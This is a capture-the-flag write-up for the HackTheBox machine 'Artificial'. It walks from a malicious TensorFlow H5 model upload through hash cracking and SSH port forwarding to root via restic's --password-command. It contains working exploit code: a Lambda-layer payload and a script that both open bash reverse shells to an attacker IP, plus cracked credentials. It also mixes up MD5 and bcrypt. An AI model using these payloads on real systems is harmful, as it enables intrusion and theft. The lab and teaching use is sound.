HTB: Artificial Writeup
Artificial - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Artificial |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 23 October 2025 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Artificial is an easy-difficulty Linux machine that showcases exploiting a web application for running AI models with TensorFlow by creating a malicious H5 model file to achieve remote code execution. Once on the system, password hashes extracted from a SQLite database are cracked to gain SSH access as a standard user. Further enumeration reveals a Backrest backup/restore web UI running on localhost, whose credentials are discovered in an extracted backup archive. The Backrest service uses the restic utility, which can be exploited via the --password-command parameter to execute arbitrary commands as root.
TL;DR: Craft malicious TensorFlow H5 model → RCE as app user → Crack user hash from SQLite DB → SSH as gael → Port forward Backrest UI → Extract backup for bcrypt hash → Crack backrest_root password → Exploit restic --password-command → Root shell.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.74Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1380/tcp open http nginx 1.18.0 (Ubuntu)Two services are exposed: SSH on port 22 and a web application on port 80.
Service Enumeration
HTTP (Port 80):
The web application redirects to artificial.htb, which must be added to /etc/hosts:
echo "10.10.11.74 artificial.htb" | sudo tee -a /etc/hostsThe application is an AI model management platform that allows users to:
- Register and authenticate via
/registerand/login - Upload AI models in
.h5format (TensorFlow/Keras) - View predictions from uploaded models
The dashboard includes a note referencing a requirements.txt file that specifies:
tensorflow-cpu==2.13.1Vulnerability Assessment
- Malicious TensorFlow Model Execution: The application loads and executes user-supplied H5 model files without validation, allowing code injection via Lambda layers.
- Weak Password Hashing: User credentials stored in SQLite use MD5 hashes (hashable via rockyou.txt).
- Sensitive Backup Exposure: A compressed backup file containing Backrest configuration with bcrypt-hashed credentials is stored in
/var/backupswith world-readable permissions. - Restic Command Injection: The Backrest UI exposes restic command execution via
--password-commandparameter, allowing arbitrary command execution.
Initial Foothold
Exploitation Path: Malicious TensorFlow Model
Step 1: Set up Python 3.8 + TensorFlow environment
The exploit requires TensorFlow CPU 2.13.1. Using Docker is the most reliable approach:
# Pull Python 3.8 slim imagesudo docker pull python:3.8-slim
# Download the matching TensorFlow wheelcurl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
# Launch container with current directory mountedsudo docker run -it -v $(pwd):/tmp python:3.8-slim bash
# Inside container, install TensorFlowroot@container:/# cd /tmproot@container:/tmp# pip3 install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whlStep 2: Create malicious H5 model
Research reveals that TensorFlow Lambda layers execute code during model inference. Create an exploit script that spawns a reverse shell:
import tensorflow as tf
def exploit(x): import os os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.77/9090 0>&1'") return x
model = tf.keras.Sequential()model.add(tf.keras.layers.Input(shape=(64,)))model.add(tf.keras.layers.Lambda(exploit))model.compile()model.save("exploit.h5")Save this as poc.py in the container’s /tmp directory and execute it:
root@container:/tmp# python3.8 poc.py# ... TensorFlow warnings ...root@container:/tmp# ls -la exploit.h5-rw-r--r-- 1 root root 12345 Jun 9 16:08 exploit.h5Step 3: Upload malicious model and trigger execution
- Register and log in to
http://artificial.htb - Upload the
exploit.h5file from the dashboard - Start a netcat listener on your attack machine:
nc -lvnp 9090- Click the View Predictions button on the dashboard
- The model will execute and establish a reverse shell:
listening on [any] 9090 ...connect to [10.10.14.77] from (UNKNOWN) [10.10.11.74] 42936bash-5.0$Step 4: Stabilize the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermPrivilege Escalation
Phase 1: Lateral Movement to gael User
Step 1: Extract credentials from SQLite database
The application stores user credentials in /home/app/app/instance/users.db:
bash-5.0$ sqlite3 users.db '.tables'model user
bash-5.0$ sqlite3 users.db 'select * from user;'1|gael|gael@artificial.htb|$2a$10$<redacted>2|mark|mark@artificial.htb|$2a$10$<redacted>3|robert|robert@artificial.htb|$2a$10$<redacted>4|royer|royer@artificial.htb|$2a$10$<redacted>5|mary|mary@artificial.htb|$2a$10$<redacted>Extract these bcrypt hashes and crack them with hashcat:
# Save hashes to local filecat hashes$2a$10$<redacted>$2a$10$<redacted>...
# Crack with hashcat (mode 3200 for bcrypt)hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
# Result example (actual password will vary)$2a$10$<redacted>:mattp005numbertwoStep 2: SSH as gael user
ssh gael@artificial.htb# Enter cracked passwordgael@artificial:~$Phase 2: Discover Backrest and Extract Credentials
Step 1: Identify Backrest service on localhost:9898
gael@artificial:~$ ss -tlnp | grep LISTENLISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*Step 2: Port forward to access Backrest UI
From your attack machine, forward the port:
ssh -L 9898:127.0.0.1:9898 -N -vv gael@artificial.htb# Enter password# Connection established; Backrest now accessible at http://127.0.0.1:9898Step 3: Extract backup file
A Backrest backup archive exists in /var/backups:
gael@artificial:~$ ls -la /var/backups/-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
# Download backup to attack machinescp gael@artificial.htb:/var/backups/backrest_backup.tar.gz backrest_backup.tar.gz
# Extract and search for credentialstar xvf backrest_backup.tar.gzgrep -Rin pass . 2>/dev/null./backrest/.config/backrest/config.json:10: "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"Step 4: Crack Backrest bcrypt hash
The password is base64-encoded:
# Decode base64echo -n JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > bcrypt_hash
# Crack with hashcat (mode 3200)hashcat -m 3200 bcrypt_hash /usr/share/wordlists/rockyou.txt
# Result example$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^Credentials: backrest_root:!@#$%^
Phase 3: Exploit Restic —password-command Parameter
Backrest uses the restic utility under the hood. The --password-command parameter allows executing a command to retrieve the repository password—but we can abuse it to execute arbitrary commands.
Step 1: Log into Backrest UI
Navigate to http://127.0.0.1:9898 and authenticate with backrest_root:!@#$%^
Step 2: Create a repository
In the Backrest UI, add a new repository with:
- Repository Path: Any path (e.g.,
/tmp/repo) - Password:
/tmp/kavi(we’ll create this file)
Step 3: Create malicious password command file
On the target machine (as gael), create the payload:
gael@artificial:~$ cat > /tmp/kavi << 'EOF'#!/bin/bashbash -c 'bash -i >& /dev/tcp/10.10.14.77/9090 0>&1'EOF
gael@artificial:~$ chmod +x /tmp/kaviStep 4: Execute via Backrest Run Command
In the Backrest UI:
- Navigate to the Run Command section
- Enter the following restic command:
ls --password-command /tmp/kavi- Execute the command
The --password-command parameter will execute /tmp/kavi, spawning a reverse shell as root.
Step 5: Receive root shell
On your attack machine:
nc -lvnp 9090listening on [any] 9090 ...connect to [10.10.14.77] from (UNKNOWN) [10.10.11.74] 60808root@artificial:/# iduid=0(root) gid=0(root) groups=0(root)Retrieve the root flag:
root@artificial:/# cat /root/root.txt<redacted>Attack Chain Summary
Malicious H5 Model Upload ↓RCE as app user (www-data) ↓Extract SQLite user hashes ↓Crack gael user password ↓SSH as gael user ↓Port forward Backrest UI (localhost:9898) ↓Download /var/backups/backrest_backup.tar.gz ↓Extract bcrypt hash from config.json ↓Crack backrest_root password ↓Log into Backrest UI ↓Create malicious /tmp/kavi script ↓Execute via restic --password-command injection ↓Root shell and flagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
docker | Python 3.8 + TensorFlow environment setup |
curl | Download TensorFlow wheel file |
python3 | Create malicious TensorFlow model |
nc (netcat) | Reverse shell listener |
sqlite3 | Extract user credentials from database |
hashcat | Crack MD5 and bcrypt password hashes |
ssh | Lateral movement and port forwarding |
scp | Transfer backup file |
tar | Extract backup archive |
grep | Search for sensitive data |
base64 | Decode base64-encoded bcrypt hash |
Key Learnings
Techniques Practiced
- Creating malicious TensorFlow/Keras H5 models with code injection via Lambda layers
- Password hash extraction from embedded SQLite databases
- MD5 and bcrypt hash cracking with hashcat
- SSH port forwarding to access internal services
- Backup file analysis and credential recovery
- Command injection via restic
--password-commandparameter - Reverse shell stabilization and TTY allocation
Lessons Learned
-
User-supplied model uploads are dangerous: Applications that load and execute user-provided machine learning models must implement strict validation, sandboxing, and input filtering. TensorFlow’s Lambda layers are particularly dangerous in untrusted contexts.
-
Backup files require as much protection as live systems: Backups often contain unencrypted credentials, SSH keys, and configuration files. They must be stored with the same access controls and encryption as production data.
-
Embedded databases need strong hashing: SQLite databases storing credentials must use strong, properly-salted hashing algorithms. MD5 is unsuitable for password storage and cracks trivially.
-
Command-line utilities with dynamic parameters are exploit vectors: Tools like restic that accept password commands, shell commands, or other dynamic parameters must be carefully sandboxed. User input should never directly influence command execution.
-
Port exposure and enumeration: Services bound to localhost that are only supposed to be administrative tools can become privilege escalation vectors if accessible by compromised standard users through port forwarding.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>